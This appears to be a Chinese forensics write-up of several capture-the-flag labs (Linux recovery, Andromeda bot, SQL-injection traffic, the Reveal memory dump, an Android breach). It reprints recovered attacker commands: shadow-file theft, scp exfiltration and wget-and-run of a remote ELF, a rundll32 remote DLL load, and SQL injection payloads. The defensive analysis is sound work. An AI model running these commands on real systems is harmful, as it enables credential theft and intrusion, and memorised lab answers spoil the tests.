现在你必须选择将恢复的文件存储在哪里(这是我们新创建的文件夹)。确保进入该文件夹(以便您看到。和. .,分别为当前目录和前一个目录)。在当前目录下按C(确认)启动恢复过程:

img

img

当然也可以使用extundelete

extundelete attachment.img --restore-all
特性 Photorec extundelete
支持文件系统 不依赖文件系统,支持所有存储介质(FAT、NTFS、ext等) 仅支持 ext3/ext4 文件系统
恢复原理 基于文件签名扫描(文件头/尾特征) 依赖文件系统的元数据(如 inode 信息)
恢复结果 文件内容可恢复,但丢失文件名和目录结构 保留文件名和目录结构(元数据未覆盖时)
适用场景 文件系统损坏、格式化、分区丢失等严重故障 误删除文件,且文件系统元数据完好
易用性 跨平台(Windows/Linux/macOS),命令行工具 仅限 Linux,命令行工具
恢复速度 较慢(需全盘扫描) 较快(直接解析元数据)

在recovery文件夹下共创建了138个目录:

img

更大的问题是:我们需要的文件到底在哪里?

要回答这个问题,我们需要搜索以下两个字符串中的一个:

  1. wget(表示文件下载)
  2. / tmp /backup.elf(表示这个特定的文件)

因为第二个条目更具体,所以我们这样做:

grep -r "tmp/backup.elf" .

img

我们总共有四份文件要调查。前两个文件包含我们之前找到的cron条目,但第三个文件(f13274024)更有趣:

img

攻击者操作历史分析

以下是攻击者在目标系统中的操作记录及每一步的意图解析:

1. 修改 sudoers 文件,禁用 TTY 票据验证

echo 'Defaults !tty_tickets' >> /etc/sudoers
  • 目的
    取消 tty_tickets 限制,允许用户在不同终端会话中共享 sudo 权限缓存,绕过重复输入密码的要求,方便攻击者横向移动或提权。

2. 窃取系统关键配置文件

cat /etc/sudoers > /tmp/sudoers.txt
cat /etc/passwd > /tmp/passwd.txt
cat /etc/shadow > /tmp/shadow.txt
cat /etc/ssh/ssh_config > /tmp/sshconfig.txt
  • 目的
    收集以下敏感信息:
    • /etc/sudoers:查看管理员权限配置。
    • /etc/passwd/etc/shadow:获取用户账户及密码哈希,用于离线破解或横向渗透。
    • /etc/ssh/ssh_config:分析 SSH 配置,寻找弱加密算法或漏洞。

3. 将窃取的数据外传到远程服务器

scp /tmp/passwd.txt ubuntu@3.28.195.43:/home/ubuntu/passwd.txt
scp /tmp/sudoers.txt ubuntu@3.28.195.43:/home/ubuntu/sudoers.txt
scp /tmp/shadow.txt ubuntu@3.28.195.43:/home/ubuntu/shadow.txt
scp /tmp/sshconfig.txt ubuntu@3.28.195.43:/home/ubuntu/sshconfig.txt
  • 目的
    将窃取的文件通过 scp 传输到攻击者控制的远程服务器(IP 3.28.195.43),为后续攻击(如密码破解、权限滥用)做准备。

4. 下载并部署恶意程序 backup.elf

vget http://3.28.195.43/Tools/backup/backup.elf -0 /tmp/backup.elf
chmod +x /tmp/backup.elf
  • 目的
    • 使用 wget从攻击者服务器下载恶意程序 backup.elf
    • 赋予可执行权限(chmod +x),准备运行该程序。
    • 推测功能:可能是后门、挖矿程序或横向渗透工具。

5. 设置定时任务(持久化)

crontab -e
  • 目的
    通过编辑当前用户的定时任务(如添加 @reboot /tmp/backup.elf),确保恶意程序在系统重启后自动运行,实现持久化控制。

6. 收集系统环境信息

uname -a
cat /etc/*-release
cat /proc/version
  • 目的
    获取系统内核版本、发行版信息,用于识别漏洞或适配攻击载荷(如提权漏洞利用)。

7. 探测用户配置与进程

cat ~/.profile
ps aux
  • 目的
    • 查看用户环境变量(.profile),寻找敏感信息或配置漏洞。
    • 列出所有运行进程(ps aux),识别安全软件、服务或高权限进程,为后续攻击(如进程注入)做准备。

8. 尝试提权与清理痕迹

sudo -i
exit
  • 目的
    • sudo -i:尝试切换到 root 用户,提升权限以完全控制系统。
    • exit:退出当前会话,可能用于切换身份或清理痕迹。

答案:/Tools/backup/backup.elf

Q7:为了了解哪些敏感信息从被入侵的系统中被访问和传输,识别攻击者窃取的文件是必不可少的。被窃取的passwd文件在攻击者的远程设备上的完整路径是什么?

由Q6的分析可知,被窃取的passwd文件在攻击机的完整路径为:/home/ubuntu/passwd.txt

Q8:了解攻击者是如何在没有重复权限提示的情况下维护提升的权限的,对于揭示他们的持久访问方法至关重要。攻击者使用了什么命令来配置连续的权限提升而不需要重复的权限?

由Q6的分析可知,攻击者使用的命令来配置连续的权限提升而不需要重复的权限为:echo 'Defaults !tty_tickets' >> /etc/sudoers

Q9:识别用于横向移动的源IP地址对于追踪攻击者的路径和了解攻击的程度至关重要。攻击者用来横向移动到Linux系统的机器的IP地址是什么?

为了找到它,我们需要被擦除的auth.log文件。所以,它应该在recovery文件夹中。我们用类似的方式寻找它:

grep -r "auth.log" .

.:代表当前目录,告诉 grep 从当前目录开始搜索。

img

如果你知道auth.log条目,就应该知道成功登录的日志条目看起来像这样:

MESSAGE=Accepted password for <user> from <ip-address> <port> <protocol>

那么,让我们来查找这个字符串的第一部分:

grep -r "Accepted password for" .

然而,这没有给我任何结果。我决定查找Failed password for,这让我获得了更多的内容:

img

这显示了2件事:

  • 你要找的ip地址
  • 试图登录的用户账户。下一个问题需要用到这个。从端口上可以看出这是一次暴力攻击。

Q10:当攻击者试图访问两个不同的账户时,识别攻击者暴力攻击的第一个用户名可以深入了解他们的初始访问策略和目标选择。在这些暴力攻击中,攻击者的第一个目标用户名是什么?

答案在Q9中的分析中

Q11:确定攻击者最终登录的时间戳对于识别他们最后一次访问系统的时间至关重要,这样可以隐藏他们的活动并删除证据。攻击者在被入侵的机器上清除了最后一次登录会话的时间戳是什么?

alt text

Q12:在攻击者的SSH会话期间,他们错误地使用了一个命令,将他们的活动保存在硬盘上,而不是保存在内存中,这样更难以分析。他们用哪个bash命令留下了这个痕迹?

要回答最后一个问题,你需要知道哪些命令存储哪些数据。我让AI给我一个概述,并在这里包括了最相关的命令:

1. 保存到 Shell 历史记录的命令

类别 命令/操作 功能/痕迹 日志/记录位置
Shell 历史记录 exit / logout / Ctrl+D 将内存中的命令历史保存到文件 ~/.bash_history(Bash) ~/.zsh_history(Zsh) ~/.histfile(其他 Shell)
history -w(Bash) 手动将当前会话历史写入文件 ~/.bash_history
fc -W(Zsh) 手动将 Zsh 历史记录写入文件 ~/.zsh_history

2. 记录用户会话的命令

类别 命令/操作 功能/痕迹 日志/记录位置
权限提升与用户切换 sudo 记录特权命令执行 /var/log/auth.log(Debian 系) /var/log/secure(RHEL 系)
su 记录用户切换操作 /var/log/auth.log(Debian 系) /var/log/secure(RHEL 系)
终端会话记录 script 记录整个终端会话 默认保存为当前目录的 typescript 文件

3. 文件系统修改命令

类别 命令/操作 功能/痕迹 日志/记录位置
文件操作 touch / echo / cat / vim / nano 修改文件时间戳或内容 通过 ls -ltstat 查看时间戳
文件管理 rm / mv / cp 修改文件系统元数据(如 inode) 若启用 auditd,记录到审计日志
权限与所有权 chmod / chown 修改文件权限或所有权 若启用审计,记录到 /var/log/audit/audit.log

基于此,我们能在Q6中找到命令:sudo -i

Andromeda Bot Lab(内存分析)

作为SecuTech DFIR团队的一员,您的任务是调查影响组织中多个端点的安全漏洞。来自不同系统的警报显示,这次入侵可能是通过移动设备传播的。我们给你提供了一台被入侵机器的内存映像。你的目标是分析恶意软件传播的记忆迹象,追踪感染的来源,识别可疑活动,以评估入侵的全面程度,并告知响应策略。

要VIP

找了很久没找到WP,就在要放弃的时候AI给出了答案……

image-20250307151054105

原文地址:Andromeda Bot Lab Walkthrough | Charanpreet's Blogs

Q1:追踪USB设备的序列号对于识别事件中使用的潜在未授权设备至关重要,有助于追踪它们的来源并缩小调查范围。插入的USB设备的序列号是什么?

你应该使用 Evtxcmd 来解析事件日志文件,以便于分析,然后使用 Timeline Explorer来分析它们

1.我们首先使用Memprocfs挂载内存转储文件

.\memprocfs.exe -device "C:\Users\Administrator\Desktop\Start Here\Artifacts\memory.dmp" -forensic 2
特性 MemProcFS Volatility
使用方式 交互式,挂载为虚拟文件系统 基于插件的命令行工具
适用场景 适合快速浏览和提取内存数据 适合深度取证分析
可视化 直接在文件管理器或文本编辑器中查看 依赖命令行输出
支持的系统 主要针对 Windows(部分支持 Linux) 支持 Windows、Linux、macOS、Android
是否需要 Profile 不需要,自动解析 需要提供合适的 Profile
易用性 更易上手,用户可以像访问普通文件一样访问内存数据 需要掌握不同插件的用法
适合任务 查看进程、网络连接、文件、注册表等 查找 rootkit、检测隐藏进程、分析恶意代码

-device 参数指定了要分析的“设备”或文件,在这里是一个内存转储文件。

-forensic 参数用于告诉工具以取证模式运行。

参数后面的 2 则可能代表某种特定的取证级别或模式,例如启用更详细的分析、扫描隐藏对象或者采用某种高级处理方式。

step-1

2.一旦完成,您应该看到驱动器 M:\ 下的安装点。进入 M:\misc\ 拖放 eventlog 文件夹到桌面。创建另一个文件夹,命名为 out 。现在我们可以使用Eric Zimmermans开发的工具Evtxcmd来解析所有的.evtx日志文件:

.\EvtxECmd.exe -d "C:\Users\Administrator\Desktop\eventlog" --csv "C:\Users\Administrator\Desktop\out"

--csv 指定输出目录,解析后的日志数据将以 CSV 格式存储在 out 目录中。

EvtxcmdEric Zimmerman 开发的一款命令行工具,用于解析 Windows 事件日志(EVTX 文件)。它是 Windows 取证分析工具的一部分,专门用于从 .evtx 事件日志文件中提取和分析关键数据。

step-3

工具 界面 主要功能 适用场景
Evtxcmd 命令行 解析 .evtx 日志,支持过滤、导出 CSV/JSON 快速日志取证、自动化分析
Windows Event Viewer GUI 查看 .evtx 日志,提供基本搜索功能 普通系统管理
LogParser 命令行 复杂 SQL 查询、日志分析 高级日志查询
Evtx Explorer GUI 可视化 .evtx 分析 图形化日志调查

它将解析我们所有的.evtx文件,并将它们以CSV格式保存在桌面的out文件夹中。稍后我们将使用时间轴资源管理器分析这些文件

step-4

接下来从 C:\Users\Administrator\Desktop\Start Here\Tools\Log Analysis 打开Timeline explorer,并将.csv文件直接放入其中。

Timeline Explorer 是由 Eric Zimmerman 开发的一款 时间轴分析工具,用于查看和分析 时间序列数据(如 Windows 事件日志、取证数据、网络流量日志等)。它可以快速加载、筛选和分析 .csv.json 等格式的时间序列数据,适用于 数字取证、威胁狩猎、安全分析等 场景。

您将最终得到所有可以关联的日志:

step-5

我首先使用搜索栏搜索 USB 。我找到了序列号是 7095411056659025437 。记住,当提交这个序列号作为flag时,你需要在末尾加上&0

Q1

7095411056659025437&0 代表 第 0 号 USB 设备

Q2:跟踪USB设备活动对于建立事件时间表至关重要,为您的分析提供一个起点。最后一次记录USB插入系统的时间是什么时候?

使用与上一个问题相同的搜索。我首先按 time created 字段排序,然后查找每个事件的map description字段。你会看到最后一个 USB/VHD Insertion/Removal 事件发生在 2024-10-04 13:48:18 上,这应该是这个问题的flag

查找 map description 字段

  • 这个字段通常包含 事件的描述,用于标识 USB 插拔 事件。
  • 目标是查找 USB/VHD Insertion/Removal 相关事件

找到最后一个 USB/VHD Insertion/Removal 事件

  • USB Insertion 表示 设备插入
  • USB Removal 表示 设备移除
  • 查找最后一个插入或移除事件的时间戳2024-10-04 13:48:18

Q3:识别可执行文件的完整路径为追踪攻击来源和了解恶意软件是如何部署的提供了至关重要的证据。在PowerShell命令关闭Windows Defender保护后,运行的可执行文件的完整路径是什么?

接下来,在事件ID字段中,我搜索ID为 403 的事件,这将告诉我们执行了哪些Powershell命令。再次按 Time created 字段排序,检查 Payload Data 下的最后一个命令。我们将得到我们的flag E:\hidden\Trusted Installer.exe

Q3

在 Windows 事件日志 (Event Viewer) 中,事件 ID 403 记录了 PowerShell 执行的命令

Payload Data 记录了 PowerShell 执行的完整命令

Payload Data 里找到 E:\hidden\Trusted Installer.exe,说明这个文件 是攻击者执行的恶意程序

Q4:识别恶意软件bot的C&C基础架构是检测ioc的关键。根据威胁情报报告,机器人下载C&C文件的URL是什么?

IOC(Indicator of Compromise,入侵指示器) 指的是 在安全事件中用于检测恶意活动的证据

使用Virustotal开始查找C2服务器,使用exe二进制文件的MD5散列值 Payload Data3 as BC76BD7B332AA8F6AEDBB8E11B7BA9B6

Q4

在behavior选项卡analyze the C2部分,你会找到用于下载C2 http://anam0rph.su/in.php 文件的链接

image-20250307180756851

Command and Control栏中能够看到其URL

Q5:了解被恶意软件丢弃的文件的ioc,对于了解恶意软件的各个阶段及其执行流程至关重要。删除的.exe文件的MD5散列值是多少?

再次使用搜索栏搜索进程名称 trusted installer.exe 。我们可以看到一个进程创建事件和它的可执行信息,即 "C:\Users\Tomy\AppData\Local\Temp\Sahofivizu.exe" "E:\hidden\Trusted Installer.exe"

Q5-1

很明显,父进程 Trusted Installer.exe 正在执行它的有效负载 Sahofivizu.exe 。在左边你会看到这个过程的MD5哈希值,它应该是我们的标志 7FE00CC4EA8429629AC0AC610DB51993

Q6:拥有完整的文件路径可以进行更彻底的清理,确保所有恶意组件都被识别并从受影响的位置删除。恶意软件样本丢弃的第一个DLL的完整路径是什么?

在使用Q5的相同搜索后。我们可以看到超过5 FileCreate 事件

Q6

通过分析 Playload Data4 下的 TargetFileame 字段,我们可以看到恶意软件创建或删除的DLL位于 C:\Users\Tomy\AppData\Local\Temp\Gozekeneka.dll

Q6-1

Q7:将恶意软件连接到APT组织对于揭示攻击者的更广泛的策略、动机和长期目标至关重要。根据国际奥委会和威胁情报报告,哪个APT组织重新激活了这个恶意软件用于其活动?

我开始搜索“Andromeda Bot”恶意软件以及任何与之相关的东西。我看到了computerweekly上的文章,发现这个恶意软件是由一个名为 Turla 的俄罗斯APT组织使用的

Q7

Web Investigation Lab

您是一名网络安全分析师,在BookWorld的安全操作中心(SOC)工作,这是一家以其大量的文学选择而闻名的大型在线书店。BookWorld以为全球的书迷提供无缝和安全的购物体验而自豪。最近,你的任务是加强公司的网络安全态势,监控网络流量,并确保数字环境免受威胁。

一天深夜,数据库查询和服务器资源使用异常增加,触发了一个自动警报,表明有潜在的恶意活动。这一异常引起了人们对BookWorld客户数据和内部系统完整性的担忧,促使人们立即进行彻底的调查。

在这种情况下,作为首席分析师,您需要分析网络流量以发现可疑活动的性质。你的目标包括识别攻击向量,评估任何潜在数据泄露的范围,并确定攻击者是否获得了对BookWorld内部系统的进一步访问权限。

Q1:通过了解攻击者的IP,我们可以分析与该IP相关的所有日志和行为,并确定攻击的程度、攻击的持续时间和使用的技术。你能提供攻击者的IP吗?

进行会话统计,发现其中流量传输最多的IP为:

image-20250306100952365

image-20250306101044080

看其流量,符合枚举攻击的特征。

答案:111.224.250.131

Q2:如果已知IP地址的地理来源来自一个与我们的网络没有业务或预期流量的地区,这可能是有针对性的攻击的一个指标。你能确定袭击者的来源城市吗?

进行IP定位:

image-20250306101254578

虽然地理位置数据提供了强有力的初始线索,但重要的是要考虑代理服务器或vpn掩盖攻击者真实位置的可能性。

答案:Shijiazhuang

Q3:识别被利用的脚本可以让安全团队准确地了解在攻击中使用了哪个漏洞。这些知识对于找到适当的补丁或替代方法来填补安全漏洞和防止未来的漏洞攻击至关重要。你能提供易受攻击的PHP脚本名称吗?

为了方便分析,使用过滤语句:

ip.stream eq 2 && http

image-20250306102108874

URL查询字符串中出现 SELECTUNIONNALL 等SQL关键字,强烈表明有人试图利用与SQL注入相关的漏洞。这些有效载荷表明攻击者正在测试脚本不正确的输入验证和未过滤的用户输入,这些是SQL注入攻击的常见入口点。 search.php 脚本最有可能负责处理搜索查询中的用户输入,使其成为基于注入的攻击的主要目标。

可以发现前期流量中就有在尝试在搜索search.php中尝试sql注入。

答案:search.php

Q4:建立攻击的时间线,从最初的攻击尝试开始,攻击者第一次SQLi攻击的完整请求URI是什么?

由Q3分析可知完整请求URI(统一资源标识符)

image-20250306102756928

答案:/search.php?search=book%20and%201=1;%20--%20-

Q5:您能提供用于读取web服务器可用数据库的完整请求URI吗?

为了更加方便我们分析search.php的sql注入流量,我们进行过滤:

ip.stream eq 2 && http &&  frame contains "search.php" 

看不出来,为了更好分析直接导出为文本(文件->导出分组解析->csv):

导出,处理数据后使用notepad++插件解码:

image-20250306110650792

查找包含数据库相关关键字的请求,如 INFORMATION_SCHEMAdatabase等,这通常表示试图枚举数据库详细信息。

找到六条相关记录,我们进行分析:

/search.php?search=book&ZscL=7696 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')

UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/

  • 这里使用了 UNION 注入,尝试合并数据库的查询结果。
  • 其中第三个字段返回 <script>alert("XSS")</script>,如果页面直接渲染这个值,可能会触发 XSS 攻击
  • table_name FROM information_schema.tables:用于枚举数据库中的表名。

; EXEC xp_cmdshell('cat ../../../etc/passwd')

  • EXEC xp_cmdshellSQL Server 的存储过程,允许执行系统命令。
  • 这里尝试读取 Linux 系统的 /etc/passwd 文件,可能是为了获取用户信息,进一步攻击。
/search.php?search=book' UNION ALL SELECT NULL,CONCAT(0x7178766271,JSON_ARRAYAGG(CONCAT_WS(0x7a76676a636b,schema_name)),0x7176706a71) FROM INFORMATION_SCHEMA.SCHEMATA-- -

UNION ALL SELECT NULL,CONCAT(...) FROM INFORMATION_SCHEMA.SCHEMATA

  • 这里使用 INFORMATION_SCHEMA.SCHEMATA 来获取数据库的所有库名
  • CONCAT(0x7178766271, JSON_ARRAYAGG(CONCAT_WS(0x7a76676a636b, schema_name)), 0x7176706a71)
    • JSON_ARRAYAGG(schema_name):以 JSON 数组的形式返回所有数据库名称。
    • CONCAT_WS(0x7a76676a636b, schema_name):把数据库名称用 zvvgjck(16进制 0x7a76676a636b 转换为 ASCII) 作为分隔符连接起来。
    • 0x71787662710x7176706a71 是十六进制字符串(通常用于标记 payload 的开始和结束)。

答案:/search.php?search=book%27%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x7178766271%2CJSON_ARRAYAGG%28CONCAT_WS%280x7a76676a636b%2Cschema_name%29%29%2C0x7176706a71%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA--%20-

Q6:评估入侵和数据访问的影响至关重要,包括对组织声誉的潜在损害。包含网站用户数据的表名是什么?

由Q5中的分析可知查字段名的记录为:

image-20250306112156296

查询语句中包含了表名的十六进制

image-20250306112113174

image-20250306112229034

image-20250306112324759

很明显包含了网站用户数据的表名为customers

当然直接分析流量也能找到:

img

img

答案:customers

Q7:对公众隐藏的网站目录可能作为未经授权的接入点或包含不打算供公众访问的敏感功能。你能提供被攻击者发现的目录名吗?

对枚举攻击部分进行分析:

ip.stream eq 2 && http.response.code == 200

image-20250306113023899

可以发现请求到了/admin/login.php

另一种思路:为了确定攻击者发现的目录名称,我们对网络流量中捕获的HTTP POST请求进行分析。调查的重点是攻击者IP地址 111.224.250.131 ,并经过HTTP POST 方法过滤后的流量,这些方法通常用于提交数据、登录或与隐藏功能交互。

ip.stream eq 2 && http.request.method == "POST"

image-20250306113206774

说明发现了隐藏目录/admin/

答案:/admin/

Q8:知道使用了哪些凭证可以让我们确定账户泄露的程度。攻击者使用什么账号密码登录?

追踪流发现,当POST的请求为username=admin&password=admin123%21时响应302跳转到了/admin/index.php,登录成功:

image-20250306114505490

答案:admin:admin123!

Q9:我们需要确定攻击者是否获得了对我们web服务器的进一步访问或控制。攻击者上传的恶意脚本的名称是什么?

继续分析POST的上传数据:

ip.stream eq 2 && http.request.method == "POST"

image-20250306114852452

可以发现恶意脚本页面的名称为NVri2vhp.php

答案:NVri2vhp.php

Reveal Lab

你是一家金融机构的数字取证调查员,你的SIEM在一台可以访问敏感金融数据的工作站上发现了异常活动。由于怀疑有漏洞,你收到了来自被入侵机器的内存转储。你的任务是分析内存中妥协的迹象,追踪异常的来源,评估其范围以有效地控制事件。

做到一半发现之前的Volatility Traces Lab看错篇了……

所以之前的Volatility Traces Lab只好重看一篇文章,这实验用了这篇文章的一些图片:Endpoint Forensics Lab: Reveal (CyberDefenders) | by Khoa | Medium

Q1:识别恶意进程的名称有助于理解攻击的性质。恶意进程的名称是什么?

首先用windows.pslist 用于列出系统中正在运行的进程,没发现什么可疑行为,因此继续输入命令:

./vol.py -f 192-Reaveal.dmp windows.malfind

windows.malfind 是 Volatility 框架中的一个插件,用于寻找和识别内存中的恶意代码或可疑的恶意活动。

malfind 插件会扫描内存中所有的进程,寻找潜在的恶意代码或恶意注入的可执行文件,它通过检查进程内存中的代码段是否有异常的行为模式来检测恶意软件。

该插件在 Windows 系统的内存转储中尤其有效,可以检测到注入的恶意代码、挂钩、恶意的模块或代码注入等。

image-20250306133435506

无标题22

1. PID (Process ID)

  • 含义:进程的唯一标识符(Process Identifier)。
  • 作用:标识被分析的进程。恶意代码可能注入到合法进程(如 explorer.exesvchost.exe)中运行。

2. Process Start VPN (Virtual Page Number)

  • 含义:进程内存中某个区域的起始虚拟页号(Virtual Page Number)。
  • 作用:表示可疑内存区域的起始位置。VPN 是虚拟地址空间中的页编号,帮助定位内存页的物理位置。

3. End VPN Tag

  • 含义:内存区域的结束虚拟页号及标记(Tag)。
  • 作用:
    • End VPN:标识内存区域的结束页号。
    • Tag:可能表示内存区域的类型或状态(如 VADPrivate 等)。

4. Protection

  • 含义:内存页的访问权限(读、写、执行)。
  • 常见值:
    • PAGE_EXECUTE_READWRITE (RWX):可读、写、执行(高危,常见于 Shellcode)。
    • PAGE_READWRITE (RW):可读、写。
    • PAGE_EXECUTE_READ (RX):可读、执行。
  • 作用:RWX 权限通常是恶意代码的迹象(如注入的代码段)。

5. CommitCharge

  • 含义:操作系统为该内存区域提交的物理内存或页面文件的大小。
  • 作用:反映内存区域的实际使用量。过大的 CommitCharge 可能表示恶意负载。
  • 在 Windows 中,1 页 = 4 KB(默认情况下,除非使用大页内存)。
    • 若值为 1,表示该内存区域占用了 4 KB 的物理内存或页面文件。
    • 若值为 2,则为 8 KB,依此类推。

6. PrivateMemory

  • 含义:进程独占的私有内存大小(不与其他进程共享)。
  • 作用:私有内存中可能包含进程注入的代码或数据。

7. File output

  • 含义:插件是否将可疑内存区域转储为文件。
  • 作用:若启用,可疑内存内容会保存到磁盘(如 Shellcode 或恶意 PE 文件)。

8. Notes

  • 含义:插件的附加注释或警告信息。
  • 常见内容:
    • Injected:表示内存区域可能是注入的。
    • No PE header:内存区域没有合法的 PE 头(常见于 Shellcode)。
    • MZ header found:发现可能的 PE 文件签名(如 DLL 注入)。

9. Hexdump Disasm

  • 含义:内存区域的十六进制转储和反汇编代码。
  • 作用:
    • Hexdump:显示内存内容的原始十六进制和 ASCII 表示。
    • Disasm:反汇编代码(如 x86/x64 指令),用于分析潜在的恶意指令。

无标题23

进程 powershell.exe 似乎根据其 x86 汇编语言向内存添加了若干值,汇编指令(如 addmov 等)表示在内存的不同位置添加或修改值。

内存中还涉及 PAGE_EXECUTE_READWRITE 标记,这表示该内存页具有执行、读取和写入的权限,这通常出现在恶意代码或注入代码的场景中,因为这类代码通常需要修改自身代码并执行它。

进程可疑性分析表

指标分类 具体指标 正常特征 可疑特征 分析依据
内存保护权限 Protection 字段 PAGE_READONLYPAGE_READWRITE PAGE_EXECUTE_READWRITE(RWX) 恶意代码常需同时具备写和执行权限(如 Shellcode、内存注入)。
PAGE_EXECUTE_READ(RX,常见于合法 DLL) 非系统进程出现 RX 但无对应文件 可能是无文件落地的恶意代码(如反射型 DLL 注入)。
内存区域特征 PE 头完整性 Notes 包含 MZ header found Notes 包含 No PE header 合法进程内存通常有完整 PE 头;无 PE 头可能是 Shellcode 或加密载荷。
注入标记 Notes 为空或 Mapped Notes 包含 Injected 明确标记为注入的内存区域高度可疑。
内存大小 CommitCharge/PrivateMemory 合理(如 >10) CommitCharge/PrivateMemory 极小(如 1~2) 极小值可能是 Shellcode 或占位符;需结合权限和指令分析(如 1 页 RWX 内存 + Shellcode)。
反汇编与十六进制 Hexdump 内容 全零、随机数据或合法字符串 MZ 头(未映射文件)、This program cannot be run in DOS mode 可能隐藏了恶意 PE 文件(如 DLL 注入)。
Disasm 指令 无意义指令或合法函数调用 jmp/call 跳转、xor 解密循环、int30xCC 典型 Shellcode 或反调试技术。
进程上下文 进程名称 系统进程(如 svchost.exeexplorer.exe 非常见进程(如随机名 j3sdh.exe 恶意进程常伪装或使用随机名。
父进程关系 父进程为合法程序(如 explorer.exe 父进程非常见(如 cmd.exe 启动浏览器进程) 进程链异常可能表示横向渗透或绕过检测。
命令行参数 参数符合正常行为(如浏览器带 URL) 参数含可疑 URL、-enc(PowerShell 编码命令) 可能用于下载恶意负载或执行混淆代码。
其他内存取证线索 DLL 模块 加载系统 DLL(如 kernel32.dll 加载未知 DLL 或内存中隐藏 DLL 使用 dlllist 插件检查是否有未签名的异常模块。
句柄与网络连接 打开常见文件或端口 打开敏感文件(如 lsass.exe)或连接恶意 IP 使用 handlesnetscan 插件进一步验证。

答案:powershell.exe

Q2:了解恶意进程的父进程ID (PPID)有助于追踪进程的层次结构和了解攻击流程。恶意进程的父PID是什么?

在进程树扫描中进行分析:

vol.py -f 192-Reveal.dmp windows.pstree

image-20250306134247519

答案:4120

Q3:确定恶意软件用于执行第二阶段有效载荷的文件名对于识别后续的恶意活动至关重要。恶意软件用来执行第二阶段有效载荷的文件名是什么?

为了知道恶意软件执行的过程,从其命令行参数进行分析:

./vol.py -f 192-Reaveal.dmp windows.cmdline --pid 3692

image-20250306134934710

可以发现其执行了rundll32 3435.dll,entry的命令

entry 是指定的函数名,表示 rundll32 应该在 3435.dll 文件中加载并执行的函数。

答案:3435.dll

Q4:识别远程服务器上的共享目录有助于追踪攻击者所针对的资源。远程服务器上正在被访问的共享目录的名称是什么?

从Q3得到的信息中,恶意软件还执行了powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\命令

意思为隐藏窗口并连接到45.9.74.32远程计算机共享的文件夹

为了确认答案,运行了以下命令

strings 192-Reveal.dmp | grep 45.9.74.32

无标题24

答案:davwwwroot

Q5:该恶意软件用于执行第二阶段有效载荷的 MITRE 子技术 ID 是什么?

关键活动是使用 rundl32 从远程位置加载并执行一个 DLL

远程加载并执行dll:T1218.011

答案:T1218.011

Q6:识别恶意进程运行所使用的用户名有助于评估受攻击的账户及其潜在影响。恶意进程是以哪个用户名运行的?

我们正在试图确定这个恶意进程运行的用户名,因为这有助于我们了解攻击的范围,评估其他用户是否可能受到恶意软件的影响,并确定被泄露用户的权限。

与恶意进程关联的安全标识符(SIDs)是分配给用户、组和系统实体的唯一标识符,用于标识和访问控制。这些SID定义用户的身份和特权,通过将每个SID链接到特定的权限和角色来支持安全管理。

volatile中的 windows.getsids.GetSIDs 插件对于基于sid从内存转储中解析用户数据非常有用。这个插件在Windows内存转储中提取并显示与进程相关的安全标识符(sid),允许分析人员识别每个进程的用户帐户、组和权限。要使用它,运行:

./vol.py -f 192-Reveal.dmp windows.getsids.GetSIDs | grep 45.9.74.32

image-20250306141329172

在lovelymem中应该在上面的自定义命令中输入才行

image-20250306141543022

powershell.exe (PID 3692)相关联的用户名是Elon,由SID S-1-5-21-3274565340-3808842250-3617890653-1001 标识。

域用户( S-1-5-21-*...-513 ):表示用户“Elon”是域用户组的一部分,允许访问域资源。

Administrators ( S-1-5-32-544 ):表示“Elon”拥有管理员权限,对系统具有更高级别的控制。

本地帐户(管理员成员):确认“Elon”是本地管理员组的一部分。

强制完整性级别—高( S-1-16-12288 ):此完整性级别表示提升的权限,允许对系统进行潜在的关键操作。

其他组(如经过身份验证的用户和本地帐户)提供额外的访问,但是管理员和域用户的成员关系对于评估潜在影响最为重要。

具有管理员和域用户组的成员资格,用户“Elon”具有相当大的访问和控制,无论是本地的还是跨网络的。这种访问级别意味着更高的风险,因为受损的PowerShell进程可能会影响关键的系统组件和网络资源。

答案:Elon

Q7:知道恶意软件家族的名称对于将攻击与已知威胁关联起来并制定适当的防御措施至关重要。恶意软件家族的名字是什么?

返回可疑的PowerShell命令: powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry

这个命令建议使用一个远程IP地址(45.9.74.32)来下载我们之前讨论过的潜在恶意负载。

为了收集更多信息,我们将把该IP地址(45.9.74.32)提交给VirusTotal等威胁情报平台。一旦提交,就会发现这个IP被94个安全供应商中的13个沙盒环境标记,表明它与恶意活动的关联。

image-20250225094354755

答案:STRELASTEALER

AndroidBreach Lab(安卓取证)

在BrightWave公司,由于一名员工缺乏安全意识,发生了数据泄露事件,损害了他的证书。攻击者使用这些凭证获得对系统的未授权访问,并窃取敏感数据。在调查过程中,该员工暴露了两个关键点:第一,他将自己所有的凭据存储在手机的notes应用程序中;第二,他经常从不可信的来源下载APK文件。你的任务是分析提供的Android转储文件,识别下载的恶意软件,并确定其确切的功能。

要VIP

原文地址:CTF Write-up: AndroidBreach (Certified Cyber Defenders) | by itsGir | Jan, 2025 | Medium

Q1:在你的初步调查中,下载恶意APK的可疑链接是什么?

由于我们正在寻找下载,请查看“Chrome - Downloads”下的Chromium选项卡。它会显示以下内容:

img

“Dangerous But User Validated”——“危险但经过用户验证”

Q2:下载的APK名称是什么?

ALEAPP的报告不会直接指导你。如果你自己有一部Android手机,或者对它的文件系统有一定的了解,那么在回答这个问题之前,你将有一定的优势。

文件系统下载通常放在media\0\Download下,因此我们首先研究该文件系统,看看能否在这里找到可疑文件。导航到Artifacts -> data -> media -> 0 -> Download文件夹中:

img

Q3:在APK中发现的恶意包名称是什么?

为了回答这个问题,我决定深入研究APK本身。看看给出的提示,这可能就是为什么我较少使用一个工具来回答这个问题的原因。这种类型的考试的好处是通常有多种方法来找到答案,我将分享我的方法。

为了深入研究APK,我们还需要另一个工具,它就是JADX。JADX可以反编译APK,这样我们就可以查看源代码并发现恶意包。导航到您的工具文件夹->杂项,并打开JADX:

img

一旦工具加载完毕,使用它来打开恶意APK文件:

img

完全打开文件需要几分钟的时间。打开后,让我们来研究一下源代码:

img

很多这样的文件夹……没有意义。研究一下这些文件,你可能很快就会找到“com”文件夹,如下所示:

img

